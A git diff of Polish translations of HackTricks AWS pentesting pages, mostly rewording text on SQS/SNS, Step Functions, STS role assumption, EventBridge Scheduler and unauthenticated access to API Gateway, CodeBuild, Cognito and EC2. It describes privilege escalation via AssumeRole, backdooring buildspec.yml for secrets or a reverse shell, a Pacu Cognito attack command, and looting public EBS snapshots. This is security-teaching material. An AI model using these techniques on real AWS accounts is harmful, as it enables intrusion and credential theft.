-**SQS** to **usługa oparta na kolejkach**, która umożliwia komunikację punkt-do-punktu, zapewniając, że wiadomości są przetwarzane przez **jednego konsumenta**. Oferuje **dostawę przynajmniej raz**, obsługuje standardowe i FIFO kolejki oraz pozwala na przechowywanie wiadomości w celu ponownych prób i opóźnionego przetwarzania.\
-Z drugiej strony, **SNS** to **usługa oparta na publikacji/subskrypcji**, umożliwiająca **komunikację jeden-do-wielu** poprzez jednoczesne nadawanie wiadomości do **wielu subskrybentów**. Obsługuje **różne punkty subskrypcyjne, takie jak e-mail, SMS, funkcje Lambda i HTTP/HTTPS**, oraz zapewnia mechanizmy filtrowania dla ukierunkowanej dostawy wiadomości.\
+**SQS** to usługa **oparta na kolejkach**, która umożliwia komunikację punkt-punkt, zapewniając, że wiadomości są przetwarzane przez **jednego konsumenta**. Oferuje **dostawę przynajmniej raz**, obsługuje standardowe i FIFO kolejki oraz pozwala na przechowywanie wiadomości w celu ponownych prób i opóźnionego przetwarzania.\
+Z drugiej strony, **SNS** to usługa **oparta na publikacji/subskrypcji**, umożliwiająca **komunikację jeden-do-wielu** poprzez nadawanie wiadomości do **wielu subskrybentów** jednocześnie. Obsługuje **różne punkty subskrypcyjne, takie jak e-mail, SMS, funkcje Lambda i HTTP/HTTPS**, oraz zapewnia mechanizmy filtrowania dla ukierunkowanej dostawy wiadomości.\
 Chociaż obie usługi umożliwiają odseparowanie komponentów w systemach rozproszonych, SQS koncentruje się na komunikacji w kolejkach, a SNS podkreśla wzorce komunikacji oparte na zdarzeniach i fan-out.
 
 ### **Enumeracja**
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
index ed2b290b4..3f9c77e9a 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
@@ -4,7 +4,7 @@
 
 ## Step Functions
 
-AWS Step Functions to usługa przepływu pracy, która umożliwia koordynację i orkiestrację wielu usług AWS w bezserwerowych przepływach pracy. Korzystając z AWS Step Functions, możesz projektować i uruchamiać przepływy pracy, które łączą różne usługi AWS, takie jak AWS Lambda, Amazon S3, Amazon DynamoDB i wiele innych, w sekwencji kroków. Ta usługa orkiestracji zapewnia wizualny interfejs przepływu pracy i oferuje możliwości **maszyny stanów**, pozwalając na definiowanie każdego kroku przepływu pracy w sposób deklaratywny przy użyciu opartego na JSON **Amazon States Language** (ASL).
+AWS Step Functions to usługa przepływu pracy, która umożliwia koordynowanie i orkiestrację wielu usług AWS w bezserwerowych przepływach pracy. Korzystając z AWS Step Functions, możesz projektować i uruchamiać przepływy pracy, które łączą różne usługi AWS, takie jak AWS Lambda, Amazon S3, Amazon DynamoDB i wiele innych, w sekwencji kroków. Ta usługa orkiestracji zapewnia wizualny interfejs przepływu pracy i oferuje możliwości **maszyny stanów**, pozwalając na definiowanie każdego kroku przepływu pracy w sposób deklaratywny przy użyciu opartego na JSON **Amazon States Language** (ASL).
 
 ## Kluczowe pojęcia
 
@@ -29,9 +29,9 @@ Stany są podstawowymi jednostkami maszyn stanów. Definiują poszczególne krok
 
 ### Zadanie
 
-Stan **Zadanie** reprezentuje pojedynczą jednostkę pracy wykonywaną przez maszynę stanów. Zadania mogą wywoływać różne zasoby, w tym aktywności, funkcje Lambda, usługi AWS lub interfejsy API stron trzecich.
+Stan **Zadanie** reprezentuje pojedynczą jednostkę pracy wykonywaną przez maszynę stanów. Zadania mogą wywoływać różne zasoby, w tym działania, funkcje Lambda, usługi AWS lub interfejsy API stron trzecich.
 
-- **Aktywności**: Niestandardowi pracownicy, którymi zarządzasz, odpowiedni dla długoterminowych procesów.
+- **Działania**: Niestandardowi pracownicy, którymi zarządzasz, odpowiedni dla długoterminowych procesów.
 - Zasób: **`arn:aws:states:region:account:activity:name`**.
 - **Funkcje Lambda**: Wykonuje funkcje AWS Lambda.
 - Zasób: **`arn:aws:lambda:region:account:function:function-name`**.
@@ -56,8 +56,8 @@ Poniższy przykład pokazuje definicję stanu Zadanie, która wywołuje funkcję
 
 Stan **Choice** dodaje logikę warunkową do przepływu pracy, umożliwiając podejmowanie decyzji na podstawie danych wejściowych. Ocenia określone warunki i przechodzi do odpowiedniego stanu na podstawie wyników.
 
-- **Porównanie**: Każda reguła wyboru zawiera operator porównania (np. **`NumericEquals`**, **`StringEquals`**), który porównuje zmienną wejściową z określoną wartością lub inną zmienną.
-- **Pole Next**: Stany wyboru nie obsługują pola **`End`**, zamiast tego definiują stan **`Next`**, do którego należy przejść, jeśli porównanie jest prawdziwe.
+- **Comparison**: Każda reguła wyboru zawiera operator porównania (np. **`NumericEquals`**, **`StringEquals`**), który porównuje zmienną wejściową z określoną wartością lub inną zmienną.
+- **Next Field**: Stany wyboru nie obsługują pola **`End`**, zamiast tego definiują stan **`Next`**, do którego należy przejść, jeśli porównanie jest prawdziwe.
 
 Przykład stanu **Choice**:
 ```json
@@ -69,7 +69,7 @@ Przykład stanu **Choice**:
 ```
 ### Fail/Succeed
 
-Stan **`Fail`** zatrzymuje wykonanie maszyny stanów i oznacza ją jako niepowodzenie. Służy do określenia nazwy błędu i przyczyny, dostarczając szczegóły dotyczące niepowodzenia. Ten stan jest terminalny, co oznacza, że kończy przepływ wykonania.
+Stan **`Fail`** zatrzymuje wykonanie maszyny stanów i oznacza ją jako błąd. Służy do określenia nazwy błędu i przyczyny, dostarczając szczegóły dotyczące awarii. Ten stan jest terminalny, co oznacza, że kończy przepływ wykonania.
 
 Stan **`Succeed`** zatrzymuje wykonanie pomyślnie. Zwykle jest używany do zakończenia przepływu pracy, gdy zakończy się pomyślnie. Ten stan nie wymaga pola **`Next`**.
 
@@ -108,7 +108,7 @@ Stan **Pass** przekazuje swoje dane wejściowe do wyjścia, albo bez wykonywania
 
 Stan **Wait** opóźnia wykonanie maszyny stanów na określony czas. Istnieją trzy główne metody konfigurowania czasu oczekiwania:
 
-- **X Sekund**: Stała liczba sekund do oczekiwania.
+- **X Seconds**: Stała liczba sekund do oczekiwania.
 
 ```json
 "WaitState": {
@@ -118,7 +118,7 @@ Stan **Wait** opóźnia wykonanie maszyny stanów na określony czas. Istnieją
 }
 ```
 
-- **Absolutny znacznik czasu**: Dokładny czas, do którego należy czekać.
+- **Absolute Timestamp**: Dokładny czas, do którego należy czekać.
 
 ```json
 "WaitState": {
@@ -128,7 +128,7 @@ Stan **Wait** opóźnia wykonanie maszyny stanów na określony czas. Istnieją
 }
 ```
 
-- **Dynamiczne oczekiwanie**: Oparte na danych wejściowych przy użyciu **`SecondsPath`** lub **`TimestampPath`**.
+- **Dynamic Wait**: Na podstawie wejścia przy użyciu **`SecondsPath`** lub **`TimestampPath`**.
 
 ```json
 jsonCopiar código
@@ -141,10 +141,10 @@ jsonCopiar código
 
 ### Parallel
 
-Stan **Parallel** pozwala na jednoczesne wykonywanie wielu gałęzi zadań w ramach twojego przepływu pracy. Każda gałąź działa niezależnie i przetwarza swoją własną sekwencję stanów. Wykonanie czeka, aż wszystkie gałęzie zakończą się, zanim przejdzie do następnego stanu. Jego kluczowe pola to:
+Stan **Parallel** pozwala na jednoczesne wykonywanie wielu gałęzi zadań w ramach twojego przepływu pracy. Każda gałąź działa niezależnie i przetwarza swoją własną sekwencję stanów. Wykonanie czeka, aż wszystkie gałęzie zakończą się przed przejściem do następnego stanu. Jego kluczowe pola to:
 
 - **Branches**: Tablica definiująca równoległe ścieżki wykonania. Każda gałąź to osobna maszyna stanów.
-- **ResultPath**: Definiuje, gdzie (w danych wejściowych) umieścić połączony wynik gałęzi.
+- **ResultPath**: Definiuje, gdzie (w wejściu) umieścić połączony wynik gałęzi.
 - **Retry and Catch**: Konfiguracje obsługi błędów dla stanu równoległego.
 ```json
 "ParallelState": {
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
index f6962c193..e320d4bcc 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
@@ -12,7 +12,7 @@ Biorąc pod uwagę, że celem STS jest **wydawanie poświadczeń do podszywania
 
 Akcja [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) dostarczona przez AWS STS jest kluczowa, ponieważ pozwala podmiotowi na uzyskanie poświadczeń dla innego podmiotu, zasadniczo się pod niego podszywając. Po wywołaniu, odpowiada kluczem dostępu, kluczem tajnym i tokenem sesji odpowiadającym określonemu ARN.
 
-Dla testerów penetracyjnych lub członków zespołu Red Team, ta technika jest niezbędna do eskalacji uprawnień (jak szczegółowo opisano [**tutaj**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Warto jednak zauważyć, że ta technika jest dość oczywista i może nie zaskoczyć atakującego.
+Dla testerów penetracyjnych lub członków Red Team, ta technika jest niezbędna do eskalacji uprawnień (jak szczegółowo opisano [**tutaj**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Warto jednak zauważyć, że ta technika jest dość oczywista i może nie zaskoczyć atakującego.
 
 #### Logika podszywania się pod rolę
 
@@ -32,7 +32,7 @@ Aby przyjąć rolę w tym samym koncie, jeśli **rola do przyjęcia pozwala konk
 ]
 }
 ```
-Rola **`priv-role`** w tym przypadku **nie musi być specjalnie dozwolona** do przyjęcia tej roli (wystarczy to zezwolenie).
+Rola **`priv-role`** w tym przypadku **nie musi być specjalnie dozwolona** do przyjęcia tej roli (z tym zezwoleniem wystarczy).
 
 Jednakże, jeśli rola pozwala na przyjęcie jej przez konto, jak w:
 ```json
@@ -50,9 +50,9 @@ Jednakże, jeśli rola pozwala na przyjęcie jej przez konto, jak w:
 ]
 }
 ```
-Rola, która próbuje przyjąć, będzie potrzebować **specyficznego uprawnienia `sts:AssumeRole`** nad tą rolą **aby ją przyjąć**.
+Rola, którą próbujesz przyjąć, będzie potrzebować **specyficznego uprawnienia `sts:AssumeRole`** do tej roli **aby ją przyjąć**.
 
-Jeśli spróbujesz przyjąć **rolę** **z innego konta**, **przyjęta rola musi na to zezwolić** (wskazując **ARN** roli lub **zewnętrzne konto**), a **rola próbująca przyjąć** tę drugą **MUSI** mieć **uprawnienia do jej przyjęcia** (w tym przypadku nie jest to opcjonalne, nawet jeśli przyjęta rola określa ARN).
+Jeśli spróbujesz przyjąć **rolę** **z innego konta**, **przyjęta rola musi to umożliwić** (wskazując **ARN** roli lub **zewnętrzne konto**), a **rola próbująca przyjąć** tę drugą **MUSI** mieć **uprawnienia do jej przyjęcia** (w tym przypadku nie jest to opcjonalne, nawet jeśli przyjęta rola określa ARN).
 
 ### Enumeration
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
index 93142f8f7..d5e9b7a4e 100644
--- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
@@ -1,14 +1,14 @@
-# AWS - EventBridge Scheduler Enum
+# AWS - Enumowanie Harmonogramu EventBridge
 
-## EventBridge Scheduler
+## Harmonogram EventBridge
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## EventBridge Scheduler
+## Harmonogram EventBridge
 
-**Amazon EventBridge Scheduler** to w pełni zarządzany, **bezserwerowy harmonogram zaprojektowany do tworzenia, uruchamiania i zarządzania zadaniami** na dużą skalę. Umożliwia planowanie milionów zadań w ponad 270 usługach AWS i 6,000+ operacjach API, wszystko z jednego centralnego serwisu. Dzięki wbudowanej niezawodności i braku infrastruktury do zarządzania, EventBridge Scheduler upraszcza harmonogramowanie, obniża koszty utrzymania i automatycznie skaluje się w odpowiedzi na zapotrzebowanie. Możesz konfigurować wyrażenia cron lub rate dla harmonogramów cyklicznych, ustawiać jednorazowe wywołania oraz definiować elastyczne okna dostawy z opcjami ponownego próbowania, zapewniając niezawodne dostarczanie zadań w oparciu o dostępność celów downstream.
+**Amazon EventBridge Scheduler** to w pełni zarządzany, **bezserwerowy harmonogram zaprojektowany do tworzenia, uruchamiania i zarządzania zadaniami** na dużą skalę. Umożliwia planowanie milionów zadań w ponad 270 usługach AWS i 6,000+ operacjach API, wszystko z jednego centralnego serwisu. Dzięki wbudowanej niezawodności i braku infrastruktury do zarządzania, EventBridge Scheduler upraszcza harmonogramowanie, redukuje koszty utrzymania i automatycznie skaluje się w odpowiedzi na zapotrzebowanie. Możesz konfigurować wyrażenia cron lub rate dla harmonogramów cyklicznych, ustawiać jednorazowe wywołania oraz definiować elastyczne okna dostawy z opcjami ponownego próbowania, zapewniając niezawodne dostarczanie zadań w oparciu o dostępność celów downstream.
 
-Początkowy limit wynosi 1,000,000 harmonogramów na region na konto. Nawet oficjalna strona limitów sugeruje: "Zaleca się usunięcie jednorazowych harmonogramów po ich zakończeniu."&#x20;
+Istnieje początkowy limit 1,000,000 harmonogramów na region na konto. Nawet oficjalna strona limitów sugeruje: "Zaleca się usunięcie jednorazowych harmonogramów po ich zakończeniu."&#x20;
 
 ### Typy Harmonogramów
 
@@ -20,8 +20,8 @@ Typy Harmonogramów w EventBridge Scheduler:
 
 Dwa mechanizmy obsługi nieudanych zdarzeń:
 
-1. **Polityka ponownego próbowania** – Definiuje liczbę prób ponownego wykonania dla nieudanego zdarzenia oraz jak długo pozostawić je nieprzetworzone przed uznaniem za niepowodzenie.
-2. **Kolejka martwych listów (DLQ)** – Standardowa kolejka Amazon SQS, do której dostarczane są nieudane zdarzenia po wyczerpaniu prób ponownego wykonania. DLQ pomagają w rozwiązywaniu problemów z harmonogramem lub jego celem downstream.
+1. **Polityka ponawiania** – Definiuje liczbę prób ponowienia dla nieudanego zdarzenia oraz jak długo pozostawić je nieprzetworzone przed uznaniem za nieudane.
+2. **Kolejka martwych listów (DLQ)** – Standardowa kolejka Amazon SQS, do której dostarczane są nieudane zdarzenia po wyczerpaniu prób ponowienia. DLQ pomagają w rozwiązywaniu problemów z harmonogramem lub jego celem downstream.
 
 ### Cele
 
@@ -47,7 +47,7 @@ Istnieją 2 typy celów dla harmonogramu [**szablonowe (docs)**](https://docs.aw
 - Parametry: SqsParameters
 - Step Functions – StartExecution
 
-### Enumeracja
+### Enumowanie
 ```bash
 # List all EventBridge Scheduler schedules
 aws scheduler list-schedules
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
index f815f92a2..de6e26807 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
@@ -2,9 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Wycieki poświadczeń AWS
+## Wycieki Poświadczeń AWS
 
-Powszechnym sposobem na uzyskanie dostępu lub informacji o koncie AWS jest **wyszukiwanie wycieków**. Możesz wyszukiwać wycieki używając **google dorks**, sprawdzając **publiczne repozytoria** organizacji oraz **pracowników** organizacji na **Githubie** lub innych platformach, przeszukując **bazy danych wycieków poświadczeń**... lub w każdej innej części, w której myślisz, że możesz znaleźć jakiekolwiek informacje o firmie i jej infrastrukturze w chmurze.\
+Powszechnym sposobem na uzyskanie dostępu lub informacji o koncie AWS jest **wyszukiwanie wycieków**. Możesz wyszukiwać wycieki, używając **google dorks**, sprawdzając **publiczne repozytoria** organizacji oraz **pracowników** organizacji na **Githubie** lub innych platformach, przeszukując **bazy danych wycieków poświadczeń**... lub w każdej innej części, w której myślisz, że możesz znaleźć jakiekolwiek informacje o firmie i jej infrastrukturze w chmurze.\
 Kilka przydatnych **narzędzi**:
 
 - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos)
@@ -13,7 +13,7 @@ Kilka przydatnych **narzędzi**:
 
 ## AWS Nieautoryzowane Enum & Dostęp
 
-Istnieje kilka usług w AWS, które mogą być skonfigurowane, dając jakiś rodzaj dostępu do całego Internetu lub do większej liczby osób niż oczekiwano. Sprawdź tutaj jak:
+Istnieje kilka usług w AWS, które mogą być skonfigurowane, dając pewien rodzaj dostępu do całego Internetu lub do większej liczby osób niż oczekiwano. Sprawdź tutaj, jak:
 
 - [**Nieautoryzowane Enum Kont**](aws-accounts-unauthenticated-enum.md)
 - [**Nieautoryzowane Enum Cloud9**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
@@ -34,7 +34,7 @@ Istnieje kilka usług w AWS, które mogą być skonfigurowane, dając jakiś rod
 - [**Nieautoryzowany Dostęp SQS**](aws-sqs-unauthenticated-enum.md)
 - [**Nieautoryzowany Dostęp S3**](aws-s3-unauthenticated-enum.md)
 
-## Ataki między kontami
+## Ataki Między Kontami
 
 W wykładzie [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) przedstawiono, jak niektóre usługi pozwalały dowolnemu kontu AWS na dostęp do nich, ponieważ **usługi AWS bez określenia ID konta** były dozwolone.
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
index 2137e68e5..1fdc278d1 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
@@ -1,4 +1,4 @@
-# AWS - Accounts Unauthenticated Enum
+# AWS - Konta Nieużytkownika Enum
 
 {{#include ../../../banners/hacktricks-training.md}}
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
index ed6d9350e..37a5f6151 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
@@ -32,11 +32,11 @@ Kilka przykładów:
 
 Zawsze powinieneś mieć jasno określone, co chcesz zezwolić na dostęp, a następnie sprawdzić, czy inne scenariusze są możliwe z przyznanymi uprawnieniami.
 
-Aby uzyskać więcej informacji, oprócz [**dokumentacji**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), możesz znaleźć kod do implementacji autoryzatorów w [**tym oficjalnym githubie aws**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
+Aby uzyskać więcej informacji, oprócz [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), możesz znaleźć kod do implementacji autoryzatorów w [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
 
 ### Wstrzykiwanie polityki IAM
 
-W tej samej [**prezentacji**](https://www.youtube.com/watch?v=bsPKk7WDOnE) ujawniono fakt, że jeśli kod używa **danych wejściowych użytkownika** do **generowania polityk IAM**, dzikie znaki (i inne, takie jak "." lub konkretne ciągi) mogą być w nich zawarte w celu **obejścia ograniczeń**.
+W tej samej [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)ujawniono fakt, że jeśli kod używa **wejścia użytkownika** do **generowania polityk IAM**, dzikie znaki (i inne, takie jak "." lub konkretne ciągi) mogą być w nich zawarte w celu **obejścia ograniczeń**.
 
 ### Szablon publicznego URL
 ```
@@ -44,8 +44,8 @@ https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
 ```
 ### Uzyskaj identyfikator konta z publicznego adresu URL API Gateway
 
-Podobnie jak w przypadku koszyków S3, Data Exchange i adresów URL Lambda, możliwe jest znalezienie identyfikatora konta, wykorzystując **`aws:ResourceAccount`** **Policy Condition Key** z publicznego adresu URL API Gateway. Robi się to, znajdując identyfikator konta jeden znak na raz, wykorzystując znaki wieloznaczne w sekcji **`aws:ResourceAccount`** polityki.\
-Ta technika pozwala również uzyskać **wartości tagów**, jeśli znasz klucz tagu (istnieją domyślne interesujące).
+Podobnie jak w przypadku koszyków S3, Data Exchange i adresów URL bramek Lambda, możliwe jest znalezienie identyfikatora konta, wykorzystując **`aws:ResourceAccount`** **Policy Condition Key** z publicznego adresu URL API Gateway. Robi się to, znajdując identyfikator konta jeden znak na raz, wykorzystując znaki wieloznaczne w sekcji **`aws:ResourceAccount`** polityki.\
+Ta technika pozwala również uzyskać **wartości tagów**, jeśli znasz klucz tagu (istnieje kilka domyślnych interesujących).
 
 Możesz znaleźć więcej informacji w [**oryginalnych badaniach**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) oraz w narzędziu [**conditional-love**](https://github.com/plerionhq/conditional-love/), aby zautomatyzować tę eksploitację.
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
index 04855ddaf..97a63a9a7 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
@@ -14,7 +14,7 @@ Aby uzyskać więcej informacji, sprawdź tę stronę:
 
 Jeśli uzyskasz dostęp do zapisu w repozytorium zawierającym plik o nazwie **`buildspec.yml`**, możesz **wprowadzić tylne wejście** do tego pliku, który określa **komendy, które będą wykonywane** w projekcie CodeBuild i wyeksportować sekrety, skompromitować to, co jest robione, a także skompromitować **poświadczenia roli IAM CodeBuild**.
 
-Zauważ, że nawet jeśli nie ma żadnego pliku **`buildspec.yml`**, ale wiesz, że używany jest Codebuild (lub inny CI/CD), **modyfikacja jakiegoś legalnego kodu**, który ma być wykonany, może również dać ci powrotną powłokę na przykład.
+Zauważ, że nawet jeśli nie ma pliku **`buildspec.yml`**, ale wiesz, że Codebuild jest używany (lub inny CI/CD), **modyfikacja jakiegoś legalnego kodu**, który ma być wykonany, może również dać ci powłokę odwrotną na przykład.
 
 Aby uzyskać powiązane informacje, możesz sprawdzić stronę o tym, jak atakować Github Actions (podobnie jak to):
 
@@ -22,12 +22,12 @@ Aby uzyskać powiązane informacje, możesz sprawdzić stronę o tym, jak atakow
 ../../../pentesting-ci-cd/github-security/abusing-github-actions/
 {{#endref}}
 
-## Samodzielnie hostowane runner'y GitHub Actions w AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
+## Self-hosted GitHub Actions runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
 
-Jak [**wskazano w dokumentacji**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), możliwe jest skonfigurowanie **CodeBuild** do uruchamiania **samodzielnie hostowanych akcji Github**, gdy workflow jest uruchamiany w skonfigurowanym repozytorium Github. Można to wykryć, sprawdzając konfigurację projektu CodeBuild, ponieważ **`Typ zdarzenia`** musi zawierać: **`WORKFLOW_JOB_QUEUED`** oraz w workflow Github, ponieważ wybierze **samodzielnie hostowanego** runner'a w ten sposób:
+Jak [**wskazano w dokumentacji**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), możliwe jest skonfigurowanie **CodeBuild** do uruchamiania **self-hosted Github actions**, gdy workflow jest uruchamiany w skonfigurowanym repozytorium Github. Można to wykryć, sprawdzając konfigurację projektu CodeBuild, ponieważ **`Event type`** musi zawierać: **`WORKFLOW_JOB_QUEUED`**, a w workflow Github, ponieważ wybierze **self-hosted** runnera w ten sposób:
 ```bash
 runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
 ```
-Ta nowa relacja między Github Actions a AWS tworzy kolejny sposób na kompromitację AWS z Github, ponieważ kod w Github będzie uruchamiany w projekcie CodeBuild z dołączoną rolą IAM.
+Nowa relacja między Github Actions a AWS tworzy kolejny sposób na kompromitację AWS z Github, ponieważ kod w Github będzie uruchamiany w projekcie CodeBuild z przypisaną rolą IAM.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
index 237b920cf..29dd8605a 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
@@ -4,7 +4,7 @@
 
 ## Unauthenticated Cognito
 
-Cognito to usługa AWS, która umożliwia deweloperom **przyznawanie użytkownikom aplikacji dostępu do usług AWS**. Deweloperzy przyznają **role IAM uwierzytelnionym użytkownikom** w swojej aplikacji (potencjalnie osoby będą mogły się po prostu zarejestrować) i mogą również przyznać **rolę IAM użytkownikom nieuwierzytelnionym**.
+Cognito to usługa AWS, która umożliwia deweloperom **przyznawanie użytkownikom ich aplikacji dostępu do usług AWS**. Deweloperzy przyznają **role IAM uwierzytelnionym użytkownikom** w swojej aplikacji (potencjalnie osoby będą mogły się po prostu zarejestrować) i mogą również przyznać **rolę IAM użytkownikom nieuwierzytelnionym**.
 
 Aby uzyskać podstawowe informacje o Cognito, sprawdź:
 
@@ -29,7 +29,7 @@ Domyślnie Cognito pozwala na **rejestrację nowego użytkownika**. Możliwość
 
 Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Aby uzyskać instrukcje instalacji, zobacz główną stronę [Pacu](https://github.com/RhinoSecurityLabs/pacu).
 
-#### Użycie
+#### Usage
 
 Przykład użycia `cognito__attack` do próby utworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i kliencie puli użytkowników:
 ```bash
@@ -37,7 +37,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma
 us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
-Przykład użycia cognito\_\_enum do zbierania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS:
+Przykładowe użycie cognito\_\_enum do zbierania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS:
 ```bash
 Pacu (new:test) > run cognito__enum
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
index 410de4374..dfb044afc 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Szablon publicznego URL-a
+### Publiczny szablon URL
 ```
 <name>.cluster-<random>.<region>.docdb.amazonaws.com
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
index 3c58e22a2..cbf6f59c7 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
@@ -10,6 +10,6 @@ Aby uzyskać więcej informacji, sprawdź:
 ../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
-Oprócz uzyskania dostępu do wszystkich kont AWS lub niektórego skompromitowanego zewnętrznego konta AWS, lub posiadania jakichś SQL injection w aplikacji, która komunikuje się z DynamoDB, nie znam więcej opcji dostępu do kont AWS z DynamoDB.
+Oprócz uzyskania dostępu do wszystkich kont AWS lub niektórego skompromitowanego zewnętrznego konta AWS, lub posiadania jakichkolwiek SQL injection w aplikacji, która komunikuje się z DynamoDB, nie znam więcej opcji dostępu do kont AWS z DynamoDB.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
index bb2463108..db87fd7e8 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
@@ -39,7 +39,7 @@ aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | sel
 ```
 Jeśli znajdziesz migawkę, która może być przywrócona przez każdego, upewnij się, że sprawdzisz [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) w celu uzyskania wskazówek dotyczących pobierania i plądrowania migawki.
 
-#### Szablon publicznego URL-a
+#### Szablon publicznego URL
 ```bash
 # EC2
